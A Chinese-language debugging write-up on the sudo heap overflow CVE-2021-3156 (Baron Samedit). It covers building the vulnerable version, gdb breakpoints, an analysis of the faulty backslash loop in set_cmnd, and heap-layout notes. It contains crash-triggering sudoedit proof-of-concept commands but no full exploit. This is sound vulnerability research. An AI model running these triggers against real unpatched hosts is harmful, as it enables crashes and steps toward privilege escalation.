調試方式
首先從github下載代碼
https://github.com/sudo-project/sudo/archive/SUDO_1_9_5p1.tar.gz
編譯
tar xf sudo-SUDO_1_9_5p1.tar.gz
cd sudo-SUDO_1_9_5p1/
mkdir build
cd build/
../configure --enable-env-debug
make -j
sudo make install
調試
gdb --args sudoedit -s '\' `perl -e 'print "A" x 65536'`
gdb加載執行后進程會crash,這時候就可以對有漏洞的源碼位置下斷點,因為漏洞代碼貌似是動態加載的,直接下斷點下不到,crash之后就可以下了
斷點命令
b ../../../plugins/sudoers/sudoers.c:964
b ../../../plugins/sudoers/sudoers.c:978
漏洞成因
調試用poc
sudoedit -s '\' 112233445566
漏洞位於 set_cmnd 函數中,關鍵代碼如下
/* Alloc and build up user_args. */
for (size = 0, av = NewArgv + 1; *av; av++)
size += strlen(*av) + 1;
if (size == 0 || (user_args = malloc(size)) == NULL) {
if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
while (*from) {
if (from[0] == '\\' && !isspace((unsigned char)from[1])) // 關鍵邏輯!!!
from++;
*to++ = *from++;
}
*to++ = ' ';
}
*--to = '\0';
}
進入該函數時NewArgv的結構如下
NewArgv[0]: sudoedit
NewArgv[1]: \
NewArgv[2]: 112233445566
首先會計算 NewArgv 1~2
兩個參數的長度 2 + 13 = 15
.
因此user_args
分配的內存大小為 15
字節。
然后會把 NewArgv 1~2
的數據拷貝到user_args
里面,拷貝過程中如果 from[0]
為 \
,且 from[1]
不是空格就會from++
。
if (from[0] == '\\' && !isspace((unsigned char)from[1])) // 關鍵邏輯!!!
from++;
所以在處理NewArgv[1]
時,from[0]
就是 \
,from[1]
為 \x00
,會通過這個判斷讓 from++
,然后后面會再次from++.
*to++ = *from++;
之后from就指向了NewArgv[1]
字符串\x00后面的一個字符,我們看看調試時NewArgv[1]
后面是什么
可以看到NewArgv[1] (0x5c 0x00)后面緊跟着的是NewArgv[2]( 0x31 0x31 ...),所以此時 from 執行的就是 NewArgv[2] 的開頭
從而會再次進入while循環把NewArgv[2]
拷貝到user_args
然后處理NewArgv[2]
會再次把NewArgv[2]
拷貝到user_args
因此最終結果就是 NewArgv[2]
被拷貝了兩次,實際的寫入數據長度為26字節
這個漏洞是一個堆溢出,不過寫的數據需要是非\x00,如果user_args
分配的內存比較小(比如15字節)的話,其后面是unsorted bin
,如果分配的比較大的話(使用原始的poc)其后面跟的是top chunk,感覺都不是很好利用。
感覺需要花一些時間捋一捋代碼的邏輯,看看有沒有什么其他的想法。
便於調試的腳本
寫了些gdb插件的代碼,可以用來查看堆布局里面的已釋放塊和未釋放塊的信息
https://github.com/hac425xxx/gdb-heap-trace
圖中帶 FREE_CHUNK
是處於釋放狀態的塊
其他的是還沒有釋放的,展開chunk里面是這個塊分配時的調用棧
對於沒有釋放塊的調用棧可以通過讓 gef
加載 heaptrace.py
的日志來實現
使用這個插件便於我們查看發送堆溢出時前后的堆塊布局信息,以便找到合適溢出的堆對象。
參考鏈接
https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit